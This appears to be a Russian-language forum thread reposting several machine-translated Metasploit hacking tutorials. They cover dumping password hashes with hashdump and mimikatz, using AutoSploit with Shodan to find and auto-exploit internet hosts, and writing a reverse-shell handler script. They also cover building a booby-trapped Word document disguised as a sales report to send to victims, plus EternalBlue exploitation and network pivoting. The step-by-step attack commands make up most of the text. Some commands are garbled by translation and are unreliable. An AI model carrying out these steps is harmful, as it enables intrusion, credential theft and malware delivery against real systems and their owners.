6a4a49_1b029cae3aae45df90d7ae2243044ffe~mv2.png


Похоже, у него недобрые намерения!

Шаг №4. Сброс хэшей системных паролей.

Как только мы войдем в систему с правами системного администратора, мы также получим доступ ко всем хешам паролей в системе. В meterpreter есть простой способ сделать это, просто введя команду hashdump .

msf > хэшдамп

6a4a49_56544015b418462c9f0ccbfa150d02e9~mv2.png


Как видите, целевая система вывела все хеши паролей на мой экран. Конечно, нам всё равно придётся взломать эти хеши с помощью инструмента, например, Hashcat.

Шаг №5. Доступ к системной информации и паролям с помощью mimikatz

Mimikatz был разработан gentile kiwi как отдельная программа для извлечения ключевой информации из оперативной памяти работающей системы. Несколько лет назад он был портирован для Metasploit в качестве постэксплуатационного модуля, чтобы мы могли делать то же самое после эксплуатации уязвимости.

Первый шаг — убедиться, что у нас есть права системного администратора. Если нет, можно воспользоваться командой meterpreter getsystem для повышения привилегий.

meterpreter > getsystem

6a4a49_f5b38d90a67d4be38fae0a0d4a290f74~mv2.png
Чтобы убедиться, что у нас есть права администратора, мы можем запросить систему с помощью getuid

meterpreter > getuid


Теперь, когда мы уверены, что имеем права системного администратора на целевой системе, мы можем загрузить mimikatz .

meterpreter > загрузить mimikatz



Далее переходим к экрану справки.

meterpreter > help mimikatz

Теперь мы можем получить хеши паролей, выполнив команду.

meterpreter > mimikatz_command -f samdump::hashes



Более подробную информацию о mimikatz можно найти в моей статье о mimikatz здесь.

Заключение

Как только мы скомпрометируем систему с помощью Metasploit и полезной нагрузки meterpreter, начинается самое интересное! Это бесчисленное множество команд meterpreter и модулей постэксплуатации, которые мы можем использовать для управления целевой системой и манипулирования ею.
 
Добро пожаловать обратно, мои начинающие хакеры!

Время от времени я натыкаюсь на новый хакерский инструмент, который меня по-настоящему воодушевляет. Autosploit — один из таких!

AutoSploit объединяет мощь двух моих любимых инструментов: Shodan и Metasploit ! AutoSploit использует Shodan для поиска конкретных целей по их баннерам, а Metasploit — для автоматизации использования мощных эксплойтов. Это позволяет вам искать цели определённых типов по всему Интернету и затем использовать соответствующий модуль Metasploit для борьбы с ними.

6a4a49_c55eb70ad0c64164a6351e66a756761a~mv2.png


Шаг №: Загрузите и установите AutoSploit

Первый шаг — скачать AutoSploit. Его можно скачать с github.com и клонировать в нашу систему. Я использую Kali в качестве операционной системы.

kali > git clone https://github.com/NullArray/AutoSploit

6a4a49_e6f627ff90544feb8c5d6e44448db542~mv2.png


Далее перейдем в наш новый каталог AutoSploit.

6a4a49_7d155bf0a51548a29b765516fec8fda5~mv2.png


Теперь нам нужно установить зависимости, в данном случае shodan и holy_blanc из pip.

kali > pip install shodan

6a4a49_24f214b86d064f658f4266325e38570f~mv2.png


kali > pip install благословения

6a4a49_d2b2c87ccee44215b5a6ce3d84403ac7~mv2.png


Шаг №2 Запуск AutoSploit

Теперь мы готовы запустить AutoSploit. Просто добавьте перед Python-скриптом autosploit слово python, и вуаля! Autosploit откроется со своим фирменным экраном-заставкой «Nuclear Option».

kali > python autosploit.py

6a4a49_a609242a8cb84bf0bebc57d30ee0b8e3~mv2.png


Если службы, требуемые AutoSploit (Apache и postgresql), не запущены, вам будет предложено запустить их.

Введите «Y».

6a4a49_8ab9c625dff647409d8f0df728874dba~mv2.png


Затем вам будет задан вопрос, хотите ли вы использовать модули по умолчанию (1) или фаззеры по умолчанию (2) .

Выберите модули по умолчанию или «2».

6a4a49_be961e39b74f47e3a83ae35d87292d6d~mv2.png


AutoSploit теперь запрашивает ключи API от Shodan и Censys. Мы будем использовать только Shodan. Получите ваш API от Shodan и введите его здесь.

Шаг №3 . Получение API Shodan

Вы можете получить свой ключ API от Shodan, создав учетную запись и нажав « Моя учетная запись».

6a4a49_5f7eb437338444818bf4f01d5d98ad8e~mv2.png


Откроется экран с вашим API. Это номер, необходимый для корректной работы AutoSploit.

6a4a49_5fd0eecb5bc945d69c43b5a839cde829~mv2.png


Скопируйте этот ключ API и вставьте его в AutoSploit при появлении соответствующего запроса. Теперь вы готовы к использованию AutoSploit!

Шаг №4. Сбор хостов из Shodan

После ввода ключа API давайте посмотрим на экран помощи AutoSploit.

6a4a49_97d8c3e3772c4443ab745739094f1975~mv2.png
Как видим, AutoSploit предлагает нам 5 вариантов. Давайте сначала соберём хосты и введём 2 .

Далее AutoSploit предложит вам ввести поисковый запрос, который будет введен в Shodan, Zoomeye или Censys.

6a4a49_28dd145d48c3409fa3980165a649ab4d~mv2.png


Здесь я указал старый веб-сервер Microsoft IIS5. Вам следует указать тип системы, которую вы ищете. Помните, что Shodan захватывает и индексирует баннеры, поэтому убедитесь, что вы вводите здесь то, что отображается в баннере целевой системы. Подробнее о Shodan можно узнать в моей статье о Shodan здесь и в статье о Shodan и SCADA здесь.

Затем AutoSploit запросит прокси-сервер, затем ваш пользовательский агент и, наконец, API, который вы хотите использовать. Я выбрал значения по умолчанию (нажал Enter) для первых двух, а затем выбрал 1, чтобы использовать API Shodan для поиска.

Перед сбором хостов AutoSploit предложит вам выбрать, хотите ли вы добавить или перезаписать файл. Я выбрал перезапись, но если вы создаёте файл из нескольких запросов Shodan, вам, вероятно, понадобится добавить, чтобы продолжить расширение файла.

6a4a49_bb9c2028148a4e54952618775a68db51~mv2.png


Теперь, когда AutoSploit использует Shodan для поиска потенциальных целей, мы можем отобразить потенциальные цели, введя 5.

6a4a49_de35f9f11332409da631d087daaaa8ea~mv2.png


Как видите выше, AutoSploit отображает все найденные хосты, содержащие в баннере указанное нами слово или фразу поискового запроса. Все эти данные сохраняются в файле /root/autosploit/hosts.txt.

Шаг №5: Эксплуатация хостов с помощью Metasploit


Последний шаг — настроить и использовать Metasploit для эксплуатации целей, выявленных Shodan. Сначала необходимо указать для Metasploit :

1. Наше рабочее пространство в базе данных postgresql (я назвал его IIS5)

2. Наш локальный хост или LHOST

3. Порт, через который мы хотим общаться

6a4a49_ef7255084e314721a7553a03133b1e90~mv2.png


Теперь AutoSploit попытается использовать уязвимости хостов, которые он определил по их баннеру, с помощью соответствующего эксплойта от Metasploit!

Заключение

Autosploit — это удобный инструмент, сочетающий в себе мощь двух мощных инструментов: Shodan и Metasploit. Это значительно упрощает, ускоряет и упрощает для «белых хакеров» поиск уязвимых целей по всему миру и применение подходящего эксплойта из Metasploit для проникновения на них!
 
Добро пожаловать обратно, мои начинающие хакеры!

В последнее время мне задают множество вопросов о том, как обновить встроенную в Kali консоль msfconsole. До недавнего времени на этот вопрос было легко ответить. Нужно было просто ввести «msfupdate» в командной строке.

6a4a49_0bed48313b074ac9a16bd0cae3be2f92~mv2.png


Теперь Rapid7, разработчики Metasploit, изменили способ обновления Metasploit при его интеграции в операционную систему, например, Kali. Помните: если вам нужно только добавить новый модуль, вы можете найти моё руководство по добавлению модуля здесь, но если вы хотите обновить фреймворк и получить все новые модули, то вот как это сделать сейчас.

Прежде чем начать, давайте запустим msfconsole и запишем версию и количество модулей.

6a4a49_8da6afa578fc40ef8f3fbae4cf82da30~mv2.png


Как вы можете видеть на снимке экрана выше, это версия консоли Metasploit 4.14.5 , и в ней имеется 1635 эксплойтов.

Шаг №1 : Старый способ

До недавнего времени мы могли просто обновить консоль Metasploit (msfconsole), введя:

kali > msfupdate

6a4a49_a8b443cc3b1048e58e3171c5a19ca05c~mv2.png


Как вы можете видеть выше, Metasploit теперь отвечает, что когда Metasploit является «частью операционной системы», такой как Kali, нам нужно использовать менеджер пакетов apt.

Шаг №2: Обновление менеджера пакетов APT

Как ясно из сообщения Metasploit, нам необходимо использовать обновление менеджера пакетов APT, а затем заново установить фреймворк.

kali > apt update ; apt install metasploit-framework

6a4a49_8c1c77ec128743bbb6cb828146f2ded6~mv2.png
6a4a49_ec26eec746a145998ba73d54dd90523d~mv2.png


Как вы можете видеть выше, мы установили совершенно новую версию Metasploit Framework из репозитория.

Шаг №3 : Проверка обновления

Теперь, после обновления, при запуске консоли Metasploit (msfconsole) мы видим, что не только консоль обновлена до версии 4.17.5 , но и все новые модули добавлены. Как видите, теперь доступно 1801 модуль эксплойта.

кали> msfconsole

6a4a49_7537e4b2f7c04dc2aec083f7db346bdf~mv2.png


Помните, что в обновление Metasploit включены не все модули Metasploit, а только те, которые разработаны и одобрены Rapid7. Если вы разработали новый модуль или нашли его на GitHub или в других местах, вам потребуется добавить его вручную .
 
В этой серии я постараюсь познакомить вас с многочисленными функциями Metasploit, лучшего в мире фреймворка для эксплуатации уязвимостей, взлома и пентеста. Существует так много функций и методов их использования, что лишь немногие пентестеры/хакеры знают о них всех.

Часто при проведении пентеста/взлома нам приходится многократно выполнять несколько команд Metasploit. Эти команды могут быть абсолютно одинаковыми каждый раз, и, как и при написании скриптов, нам может потребоваться автоматически выполнить несколько команд Metasploit за один шаг. Metasploit позволяет сохранять и хранить эти «скрипты», после чего их можно вызывать по имени скрипта. Metasploit называет эти скрипты файлами ресурсов.

6a4a49_2bc602dcc9fd45d9924981d075a9b689~mv2.jpg


Например, во многих атаках нам необходимо настроить мультиобработчик для подключения при выполнении полезной нагрузки на целевой системе. В моей новой серии Powersploit или с модулем веб-доставки Metasploit нам всегда потребуется настраивать мультиобработчик для получения соединений от отправленной полезной нагрузки. Обычно это включает в себя несколько команд: использование мультиобработчика, установку порта, установку полезной нагрузки, установку IP-адреса и так далее. Для упрощения задачи мы можем хранить все эти команды в файле ресурсов и просто запускать одну команду для их выполнения.

Теперь, когда вы лучше понимаете, когда это может пригодиться, давайте рассмотрим возможности скриптинга Metasploit с использованием файлов ресурсов.

Шаг 1: Изучение скриптов ресурсов в Metasploit

Для начала давайте посмотрим, где Metasploit хранит свои скрипты. Перейдём в /usr/share/metasploit-framework/scripts/resources и составим длинный список.

kali > cd /usr/share/metasploit-framework/scripts/resource

кали > ls -l


6a4a49_15ccf7ebb1c147debc45b0cb5267e110~mv2.jpg


Как видите, Metasploit уже разработал и хранит здесь множество скриптов. Любой новый скрипт, который мы напишем, также будет храниться здесь.

Шаг 2 : Написание собственного сценария ресурса

Теперь давайте создадим собственный простой скрипт для запуска мульти-обработчика, необходимого для приёма подключений, например, тот, который мы использовали в первом руководстве по Powersploit. Сначала запустите Metasploit, а затем введите нужные команды в скрипт.

kali > msfconsole

msf > использовать эксплойт/мульти/обработчик

msf > set PAYLOAD windows/meterpreter/reverse_http

msf > установить LHOST 192.168.181.128

msf > установить LPORT 4444


6a4a49_23e6cdfa9dab4c04bc9dc4f2abbe073e~mv2.jpg


После завершения всех необходимых команд в скрипте мы просто используем ключевое слово makerc, а затем имя скрипта. Например, здесь я назвал скрипт handler_http.rc (мульти/обработчик для HTTP, а затем расширение Metasploit для файлов ресурсов rc).

msf > makerc handler_http.rc

Metasploit теперь сохраняет каждую из этих команд в файле скрипта.

Шаг 3 : Проверка содержимого скрипта

Если нам нужно увидеть команды, содержащиеся в файле скрипта, мы можем использовать одну из многочисленных команд Linux для отображения содержимого файла, например, cat, less и more. В данном случае я использовал more, а затем имя файла ресурсов.

msf > больше handler_http.rc

6a4a49_bb833feec98d43eb9510938d62322add~mv2.jpg


Обратите внимание, что Metasploit теперь отображает команды в моем файле скрипта handler_http.rc.

Шаг 4: Выполнение нашего нового файла скрипта

Когда мы хотим выполнить этот скрипт, мы просто добавляем перед именем скрипта ключевое слово resource, например:

msf > resource handler_http.rc

6a4a49_869f95e086094351a59536a9d707fddd~mv2.jpg


Metasploit теперь будет автоматически выполнять каждую команду в нашем скрипте. Теперь просто введите exploit, чтобы запустить наш обработчик.

msf > эксплуатировать

Шаг 5: Проверка того , было ли сохранено


Если вернуться к месту хранения скриптов, то можно увидеть, что наш новый скрипт handler_http.rc теперь хранится вместе с другими предварительно упакованными скриптами Metasploit.

6a4a49_d78feada70e84599a90eb741902d5ad4~mv2.jpg


Шаг 6: Автоматический запуск скрипта с помощью Metasploit

Если до запуска Metasploit мы знаем, что будем использовать определённый скрипт, мы можем настроить Metasploit на автоматическое выполнение этого скрипта при запуске. Для этого запустите Metasploit с помощью команды msfconsole, ключа -r и имени файла ресурсов, который нужно выполнить при открытии, например:

kali > msfconsole -r handler_http.rc

6a4a49_02e159cf01834505a871da9dc61cc39a~mv2.jpg


Теперь при запуске Metasploit автоматически выполнит скрипт handler_http.rc, и все готово к работе.
 
Добро пожаловать обратно, мои начинающие хакеры!

По мере того, как разработчики операционных систем всё больше внимания уделяют безопасности, эксплойты операционных систем встречаются всё реже. Не настолько редко, чтобы мы их больше не видели (см. ExternalBlue и уязвимость .NET CVE-2017-8759 ), но достаточно редко, чтобы хакеры сосредоточили свои усилия на приложениях и их выходных файлах для эксплуатации. К ним могут относиться файлы PDF, .doc, rtf, .jpg, .lnk и .xls. Такие эксплойты называются эксплойтами «формата файла», поскольку они используют определённый формат файла.

6a4a49_fb8bee7c2e004f9da8effd5f5ae9eae3~mv2.png


В Metasploit имеется множество эксплойтов для этих форматов файлов. Чтобы найти их, перейдите по ссылке:

/usr/share/metasploit-framework/modules/exploits/windows/fileformat

В каталоге Metasploit можно найти множество эксплойтов, соответствующих категории форматов файлов. Один из лучших и самых последних известен как эксплойт Office Word hta.

6a4a49_7ce2a328f6b24a43b8fda7a364227871~mv2.png
Этот эксплойт, впервые обнаруженный в конце 2016 года, позволяет нам создавать тщательно продуманный документ Office, который при открытии жертвой внедряет руткит в ее систему и предоставляет нам полный контроль.

Давайте рассмотрим этот эксплойт в этом уроке.

Шаг №1 Запустите Kali и откройте Metasploit

6a4a49_a1d5351d0f624998bac572e3c7b1f871~mv2.png


Шаг №2. Поиск эксплойта Office Word hta.

Теперь, когда консоль Metasploit открыта, давайте поищем этот эксплойт.

msf> тип поиска: формат файла эксплойта

6a4a49_b88227d18cf040a2b1fd366bfe46e07a~mv2.png
Как видите выше, Metasploit выдал большое количество эксплойтов, но я выделил «Вредоносный Office Word, вредоносный HTA Execution». Именно его мы и будем использовать.

Шаг 3. Загрузите эксплойт Office Word HTA

Давайте теперь загрузим этот эксплойт.

msf > используйте exploit/windows/fileformat/office_word_hta

Теперь, когда эксплойт загружен, давайте посмотрим на информацию об этом эксплойте.

MSF > информация

6a4a49_faa9248cf3974ad8b543ba783206a15b~mv2.png
6a4a49_3cba4a8e7e2c40f9ac166f13c0dcaa7d~mv2.png


Как видите выше, этот эксплойт создаёт вредоносный RTF-файл, который позволит нам выполнить наш код на целевой системе при его открытии. Именно этого мы и хотим!

Шаг №4. Показать параметры

Следующий шаг — рассмотреть наши варианты реализации этой уязвимости.

msf > показать параметры

6a4a49_9b1c3ac959064efda539848de8a69310~mv2.png
Как видите, нам нужно задать ИМЯ ФАЙЛА (по умолчанию msf.doc. Не очень-то скрытно), URIPATH и SRVHOST.

msf > set FILENAME hackersarise_sales_report

msf > set URIPATH hackersarise

msf > установить SRVHOST 192.168.1.115


6a4a49_06c12c023d67480286e6924398af50a2~mv2.png


Шаг №5. Установка полезной нагрузки

Следующий шаг — задать полезную нагрузку, которую мы хотим внедрить в целевую систему при открытии файла. Давайте выберем наш мощный и надёжный /windows/meterpreter/reverse_tcp.

msf > set PAYLOAD windows/meterpreter/reverse_tcp


6a4a49_5766f774a86148af9fbe356b324ec7bc~mv2.png


Когда мы еще раз «покажем параметры», мы увидим, что нам нужно установить полезную нагрузку LHOST.

Давайте установим его в нашу систему Kali

msf > установить LHOST 192.168.1.115

6a4a49_12c060f8ee384068b42d4d7dd3987ad8~mv2.png


Теперь нам остаётся только ввести эксплойт , и Metasploit сгенерирует файл hackersarise_sales_report и поместит его в каталог /root/.msf4/local . Затем он запустит сервер по адресу 192.168.1.115 на порту 8080. Теперь нам остаётся только отправить файл целевой машине, открыть его. Она подключится к нашему серверу, загрузит meterpreter и подключится к нашей системе Kali, предоставляя нам неограниченный доступ к её компьютеру.

6a4a49_e17166f0b6254ea6b291913c07b1b233~mv2.png


Мы должны получить приглашение meterpreter, подобное приведенному выше.
 
Добро пожаловать обратно, мои поклонники Metasploit!

В этой серии мы начали с основ Metasploit и перешли к эксплуатации уязвимостей и созданию собственных полезных нагрузок . В этом руководстве мы рассмотрим, как после эксплуатации одной системы в сети перейти к управлению всей сетью.

6a4a49_010cbed32ce7414c9906f95134f31789~mv2.jpg


Очень часто, чтобы скомпрометировать сеть или целевую систему, мы можем проникнуть в систему одного пользователя и затем использовать это для захвата других систем в сети, которые могут быть более ценными. Например, мы можем скомпрометировать систему одного пользователя с помощью социальной инженерии или неправильно установленного патча, чтобы перейти на более ценный сервер базы данных в той же сети.

Давайте посмотрим, как это можно сделать.

Шаг №1 Запустите Kali и откройте консоль Metasploit .

Первый шаг, конечно, — запустить Kali и открыть консоль Metasploit.

kali > msfconsole

6a4a49_8da6afa578fc40ef8f3fbae4cf82da30~mv2.png


Шаг №2 : Эксплуатация системы

Следующий шаг, конечно же, — эксплуатация системы. Существует множество способов сделать это. Можно создать вредоносную ссылку, внедрить руткит во вредоносное ПО, использовать Eternal Blue или уязвимость . NET, и многое другое.

Здесь я буду эксплуатировать непатченную систему Windows 7 с помощью эксплойта EternalBlue SMB от АНБ. Его можно найти в Metasploit, введя:

msf > поиск eternalblue

6a4a49_a115ca5b90e742068709ea41f83eb961~mv2.png


После того, как мы загрузим его и полезную нагрузку meterpreter и отправим ее в целевую систему, мы получим приглашение meterpreter, как показано ниже.

6a4a49_addd120c3c554ee38a39e4fc0ad6e470~mv2.png


Шаг №3. Разведка

А теперь начинается самое интересное. Мы взломали систему Windows 7 и внедрили в неё прослушиватель/руткит meterpreter. Давайте посмотрим, какие IP-адреса и другие сетевые интерфейсы есть в скомпрометированной системе.

meterpreter > ipconfig

6a4a49_28664b6ec7de4e57b0a68a85b0ddc227~mv2.png


Как вы можете видеть, скомпрометированная система имеет только интерфейс обратной связи и еще одну сетевую карту с IP-адресом 192.168.89.191.

Шаг №4 Сканирование сети на предмет других систем

Следующий шаг к компрометации сети — сканирование других систем в ней. В meterpreter есть встроенный ARP-сканер, который мы можем использовать для этой цели. Мы можем просканировать всю сеть на наличие дополнительных систем, используя команду arp_scanner с ключом -r и указанием сети в нотации CIDR.

meterpreter > запустить arp_scanner -r 192.168.89.0/24

6a4a49_04ee5c1db0e04432afb076c796c3c8f3~mv2.png


Как вы можете видеть выше, наше ARP-сканирование обнаружило три машины в сети: 192.168.89.193, 192.168.89.191 и 192.168.89.190.

Теперь, когда мы знаем, какие системы находятся в нашей сети, следующим шагом будет их сканирование с помощью вспомогательного модуля, additional/scanner/portscan/tcp , чтобы определить открытые порты. Открытые порты — хороший индикатор служб, работающих в системе.

Для начала нам нужно настроить наш счетчик на использование этого вспомогательного модуля.

meterpreter > фон

6a4a49_a5deec502d6a4b42b1f856e1a9eb8fef~mv2.png


Теперь нам нужно добавить маршрут к сеансу meterpreter.

msf > добавить маршрут 192.168.89.191 255.255.255.0 1

msf > маршрут печати


6a4a49_f3790a5c2d6b4c6b8b18e842f5402141~mv2.png


Обратите внимание, что команда добавления маршрута включает IP-адрес, маску подсети и идентификатор сеанса meterpreter (1).

Шаг №5 Сканирование портов

Теперь, когда мы знаем, какие системы находятся в нашей сети, и у нас есть маршрут к скомпрометированной машине, следующим шагом будет их сканирование с помощью вспомогательного модуля, additional/scanner/portscan/tcp .

Нам необходимо загрузить этот вспомогательный модуль.

msf > использовать вспомогательный/сканер/сканирование портов/tcp

В этом вспомогательном модуле нам нужно задать RHOSTS (удалённые или целевые хосты) и ПОРТЫ, которые мы хотим сканировать. Я подозреваю, что в этой системе может использоваться база данных Microsoft SQL Server, работающая на порту 1433, поэтому я выбрал порты 1–1500. Обратите внимание, что MySQL работает на порту 3306, а Oracle — на порту 1521, поэтому, если она использует одну из этих баз данных, сканирование не обнаружит их, и нам потребуется изменить переменную порта, включив эти порты.

Здесь я сканирую один хост для краткости, но в реальном пентесте вам, вероятно, потребуется просканировать всю сеть, установив RHOSTS на 192.168.89.0/24. В этом случае вывод будет объёмным.

msf > set RHOSTS 192.168.89.191

msf > установить ПОРТЫ 1-1500

msf > запустить


6a4a49_45ba0140c6224db78f136c80054b5d8e~mv2.png


Как вы можете видеть выше, сканер портов обнаружил несколько открытых портов TCP, включая порт 1433, что означает, что в этой системе, вероятно, работает база данных сервера MS SQL!

Это та система, на которую мы хотим нацелиться в качестве следующей точки опоры в этой сети.

Pivoting позволяет нам скомпрометировать систему одного пользователя в сети, а затем использовать это для компрометации всех машин в сети. Используя маршрут, который мы добавили к скомпрометированной системе, мы можем запускать атаки практически на любую машину во внутренней сети из нашей консоли Metasploit!
 
Назад
Сверху Снизу